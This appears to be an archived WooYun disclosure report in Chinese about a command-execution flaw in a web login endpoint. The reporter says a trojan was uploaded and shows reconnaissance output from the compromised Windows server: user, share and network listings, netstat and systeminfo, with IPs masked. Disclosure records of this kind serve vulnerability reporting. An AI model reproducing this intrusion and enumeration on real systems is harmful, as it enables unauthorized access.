乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-12-16: 细节已通知厂商并且等待厂商处理中 2015-12-18: 厂商已经确认,细节仅向厂商公开 2015-12-28: 细节向核心白帽子及相关领域专家公开 2016-01-07: 细节向普通白帽子公开 2016-01-17: 细节向实习白帽子公开 2016-01-28: 细节向公众公开
RT
地址**.**.**.**/wsbm/login.action存在命令执行漏洞
直接上传木马到服务器
[*] 磁盘列表 [ A:C:D:E: ]E:\tomcat\webapps\wsbm\wsbm\> net user\\RDOWSBM 的用户帐户-------------------------------------------------------------------------------cncert1 Guest rdo&root SUPPORT_388945a0 命令成功完成。系统找不到指定的路径。E:\tomcat\bin\> net share共享名 资源 注释-------------------------------------------------------------------------------IPC$ 远程 IPC ADMIN$ C:\WINDOWS 远程管理 E$ E:\ 默认共享 C$ C:\ 默认共享 命令成功完成。E:\tomcat\bin\> net view服务器名称 注释-------------------------------------------------------------------------------\\INTSYSMSVR01 \\RD-6329CF172CC8 \\RDO-B39BF37AC0A \\RDO-BKSVR \\RDOWSBM \\WIN-9JDIUNHIEKT 命令成功完成。E:\tomcat\bin\> netstat -anoActive Connections Proto Local Address Foreign Address State PID TCP **.**.**.**:80 **.**.**.**:0 LISTENING 2756 TCP **.**.**.**:135 **.**.**.**:0 LISTENING 704 TCP **.**.**.**:445 **.**.**.**:0 LISTENING 4 TCP **.**.**.**:1027 **.**.**.**:0 LISTENING 456 TCP **.**.**.**:3389 **.**.**.**:0 LISTENING 1560 TCP **.**.**.**:4310 **.**.**.**:0 LISTENING 1100 TCP **.**.**.**:8009 **.**.**.**:0 LISTENING 2756 TCP **.**.**.**:1026 **.**.**.**:0 LISTENING 1472 TCP **.**.**.**:1033 **.**.**.**:4310 ESTABLISHED 1876 TCP **.**.**.**:1036 **.**.**.**:4310 ESTABLISHED 2076 TCP **.**.**.**:2535 **.**.**.**:4310 ESTABLISHED 3676 TCP **.**.**.**:2582 **.**.**.**:44522 ESTABLISHED 1980 TCP **.**.**.**:2583 **.**.**.**:44522 ESTABLISHED 2132 TCP **.**.**.**:4310 **.**.**.**:1033 ESTABLISHED 1100 TCP **.**.**.**:4310 **.**.**.**:1036 ESTABLISHED 1100 TCP **.**.**.**:4310 **.**.**.**:2535 ESTABLISHED 1100 TCP **.**.**.**:7110 **.**.**.**:0 LISTENING 12860 TCP **.**.**.**:8005 **.**.**.**:0 LISTENING 2756 TCP **.**.**.**:44522 **.**.**.**:0 LISTENING 12860 TCP **.**.**.**:44522 **.**.**.**:2582 ESTABLISHED 12860 TCP **.**.**.**:44522 **.**.**.**:2583 ESTABLISHED 12860 TCP **.**.**.**:80 **.**.**.**:16383 ESTABLISHED 2756 TCP **.**.**.**:80 **.**.**.**:16410 TIME_WAIT 0 TCP **.**.**.**:80 **.**.**.**:16422 ESTABLISHED 2756 TCP **.**.**.**:139 **.**.**.**:0 LISTENING 4 TCP **.**.**.**:1043 **.**.**.**:1521 ESTABLISHED 2756 TCP **.**.**.**:1049 **.**.**.**:1521 ESTABLISHED 2756 TCP **.**.**.**:1051 **.**.**.**:1521 ESTABLISHED 2756 TCP **.**.**.**:1053 **.**.**.**:1521 ESTABLISHED 2756 TCP **.**.**.**:1055 **.**.**.**:1521 ESTABLISHED 2756 TCP **.**.**.**:1823 **.**.**.**:9999 CLOSE_WAIT 2756 TCP **.**.**.**:1831 **.**.**.**:9999 CLOSE_WAIT 2756 TCP **.**.**.**:1832 **.**.**.**:9999 CLOSE_WAIT 2756 TCP **.**.**.**:1833 **.**.**.**:9999 CLOSE_WAIT 2756 TCP **.**.**.**:1834 **.**.**.**:9999 CLOSE_WAIT 2756 TCP **.**.**.**:1835 **.**.**.**:9999 CLOSE_WAIT 2756 TCP **.**.**.**:1841 **.**.**.**:9999 CLOSE_WAIT 2756 TCP **.**.**.**:1844 **.**.**.**:9999 CLOSE_WAIT 2756 TCP **.**.**.**:1846 **.**.**.**:9999 CLOSE_WAIT 2756 TCP **.**.**.**:1854 **.**.**.**:9999 CLOSE_WAIT 2756 TCP **.**.**.**:1855 **.**.**.**:9999 CLOSE_WAIT 2756 TCP **.**.**.**:1856 **.**.**.**:9999 CLOSE_WAIT 2756 TCP **.**.**.**:1857 **.**.**.**:9999 CLOSE_WAIT 2756 TCP **.**.**.**:1861 **.**.**.**:9999 CLOSE_WAIT 2756 TCP **.**.**.**:1870 **.**.**.**:9999 CLOSE_WAIT 2756 TCP **.**.**.**:1887 **.**.**.**:9999 CLOSE_WAIT 2756 TCP **.**.**.**:1888 **.**.**.**:9999 CLOSE_WAIT 2756 TCP **.**.**.**:1925 **.**.**.**:9999 CLOSE_WAIT 2756 TCP **.**.**.**:1936 **.**.**.**:9999 CLOSE_WAIT 2756 TCP **.**.**.**:1944 **.**.**.**:9999 CLOSE_WAIT 2756 TCP **.**.**.**:1956 **.**.**.**:9999 CLOSE_WAIT 2756 TCP **.**.**.**:1995 **.**.**.**:9999 CLOSE_WAIT 2756 TCP **.**.**.**:1996 **.**.**.**:9999 CLOSE_WAIT 2756 TCP **.**.**.**:2182 **.**.**.**:9999 CLOSE_WAIT 2756 TCP **.**.**.**:2305 **.**.**.**:80 ESTABLISHED 12860 TCP **.**.**.**:2586 **.**.**.**:139 TIME_WAIT 0 TCP **.**.**.**:3194 **.**.**.**:88 CLOSE_WAIT 2756 TCP **.**.**.**:3195 **.**.**.**:88 CLOSE_WAIT 2756 TCP **.**.**.**:3197 **.**.**.**:88 CLOSE_WAIT 2756 TCP **.**.**.**:3203 **.**.**.**:88 CLOSE_WAIT 2756 TCP **.**.**.**:3204 **.**.**.**:88 CLOSE_WAIT 2756 TCP **.**.**.**:3212 **.**.**.**:443 CLOSE_WAIT 2756 TCP **.**.**.**:3232 **.**.**.**:443 CLOSE_WAIT 2756 TCP **.**.**.**:3233 **.**.**.**:443 CLOSE_WAIT 2756 TCP **.**.**.**:3235 **.**.**.**:443 CLOSE_WAIT 2756 TCP **.**.**.**:3371 **.**.**.**:8899 CLOSE_WAIT 2756 TCP **.**.**.**:3381 **.**.**.**:8899 CLOSE_WAIT 2756 TCP **.**.**.**:3387 **.**.**.**:8899 CLOSE_WAIT 2756 TCP **.**.**.**:3714 **.**.**.**:10022 ESTABLISHED 2756 TCP **.**.**.**:4176 **.**.**.**:8899 CLOSE_WAIT 2756 TCP **.**.**.**:4281 **.**.**.**:8899 CLOSE_WAIT 2756 TCP **.**.**.**:4282 **.**.**.**:8899 CLOSE_WAIT 2756 TCP **.**.**.**:4308 **.**.**.**:4305 ESTABLISHED 1100 TCP **.**.**.**:4321 **.**.**.**:8899 CLOSE_WAIT 2756 TCP **.**.**.**:4335 **.**.**.**:8899 CLOSE_WAIT 2756 TCP **.**.**.**:4398 **.**.**.**:8899 CLOSE_WAIT 2756 TCP **.**.**.**:4412 **.**.**.**:8899 CLOSE_WAIT 2756 TCP **.**.**.**:4427 **.**.**.**:8899 CLOSE_WAIT 2756 TCP **.**.**.**:4455 **.**.**.**:8899 CLOSE_WAIT 2756 TCP **.**.**.**:4457 **.**.**.**:8899 CLOSE_WAIT 2756 TCP **.**.**.**:4705 **.**.**.**:1521 ESTABLISHED 2756 UDP **.**.**.**:161 *:* 1004 UDP **.**.**.**:162 *:* 2228 UDP **.**.**.**:445 *:* 4 UDP **.**.**.**:500 *:* 456 UDP **.**.**.**:4500 *:* 456 UDP **.**.**.**:123 *:* 792 UDP **.**.**.**:1025 *:* 792 UDP **.**.**.**:123 *:* 792 UDP **.**.**.**:137 *:* 4 UDP **.**.**.**:138 *:* 4E:\tomcat\bin\> ipconfig /allWindows IP Configuration Host Name . . . . . . . . . . . . : rdowsbm Primary Dns Suffix . . . . . . . : Node Type . . . . . . . . . . . . : Unknown IP Routing Enabled. . . . . . . . : No WINS Proxy Enabled. . . . . . . . : NoEthernet adapter 本地连接: Connection-specific DNS Suffix . : Description . . . . . . . . . . . : Intel 21140-Based PCI Fast Ethernet Adapter (Generic) Physical Address. . . . . . . . . : 00-15-5D-01-98-38 DHCP Enabled. . . . . . . . . . . : No IP Address. . . . . . . . . . . . : **.**.**.** Subnet Mask . . . . . . . . . . . : **.**.**.** Default Gateway . . . . . . . . . : **.**.**.**E:\tomcat\bin\> net start已经启动以下 Windows 服务: Application Experience Lookup Service Application Layer Gateway Service Automatic Updates Background Intelligent Transfer Service Backup System Client Service COM+ Event System Computer Browser Cryptographic Services DCOM Server Process Launcher Distributed Link Tracking Client Distributed Transaction Coordinator DNS Client Error Reporting Service Event Log Help and Support IPSEC Services KVService-{FBDDB780-C3DA-4121-A5AB-788797D9DCAA} Logical Disk Manager Network Connections Network Location Awareness (NLA) Plug and Play Print Spooler Protected Storage Remote Access Connection Manager Remote Procedure Call (RPC) Remote Registry Secondary Logon Security Accounts Manager Server Shell Hardware Detection SNMP Service SNMP Trap Service System Event Notification Task Scheduler TCP/IP NetBIOS Helper Telephony Terminal Services Windows Firewall/Internet Connection Sharing (ICS) Windows Management Instrumentation Windows Time Wireless Configuration Workstation命令成功完成。E:\tomcat\bin\> systeminfo主机名: RDOWSBMOS 名称: Microsoft(R) Windows(R) Server 2003, Enterprise EditionOS 版本: 5.2.3790 Service Pack 2 Build 3790OS 制造商: Microsoft CorporationOS 配置: 独立服务器OS 构件类型: Multiprocessor Free注册的所有人: rdo注册的组织: rdo产品 ID: 69713-640-6614254-45684初始安装日期: 2015-11-2, 15:44:29系统启动时间: 17 天 4 小时 7 分 6 秒系统制造商: Microsoft Corporation系统型号: Virtual Machine系统类型: X86-based PC处理器: 安装了 4 个处理器。 [01]: x86 Family 6 Model 47 Stepping 2 GenuineIntel ~1862 Mhz [02]: x86 Family 6 Model 47 Stepping 2 GenuineIntel ~1862 Mhz [03]: x86 Family 6 Model 47 Stepping 2 GenuineIntel ~1862 Mhz [04]: x86 Family 6 Model 47 Stepping 2 GenuineIntel ~1862 MhzBIOS 版本: VRTUAL - 5001223Windows 目录: C:\WINDOWS系统目录: C:\WINDOWS\system32启动设备: \Device\HarddiskVolume1系统区域设置: zh-cn;中文(中国)输入法区域设置: en-us;英语(美国) 时区: (GMT+08:00) 北京,重庆,香港特别行政区,乌鲁木齐物理内存总量: 8,191 MB可用的物理内存: 7,549 MB页面文件: 最大值: 10,046 MB页面文件: 可用: 9,667 MB页面文件: 使用中: 379 MB页面文件位置: C:\pagefile.sys域: WORKGROUP登录服务器: \\RDOWSBM修补程序: 安装了 1 个修补程序。 [01]: Q147222网卡: 安装了 1 个 NIC。 [01]: Intel 21140-Based PCI Fast Ethernet Adapter (Generic) 连接名: 本地连接 启用 DHCP: 否 IP 地址 [01]: **.**.**.**E:\tomcat\bin\>
加强安全意识
危害等级:高
漏洞Rank:10
确认时间:2015-12-18 10:51
CNVD确认并复现所述情况,已经转由CNCERT,由其后续协调网站管理单位处置。
暂无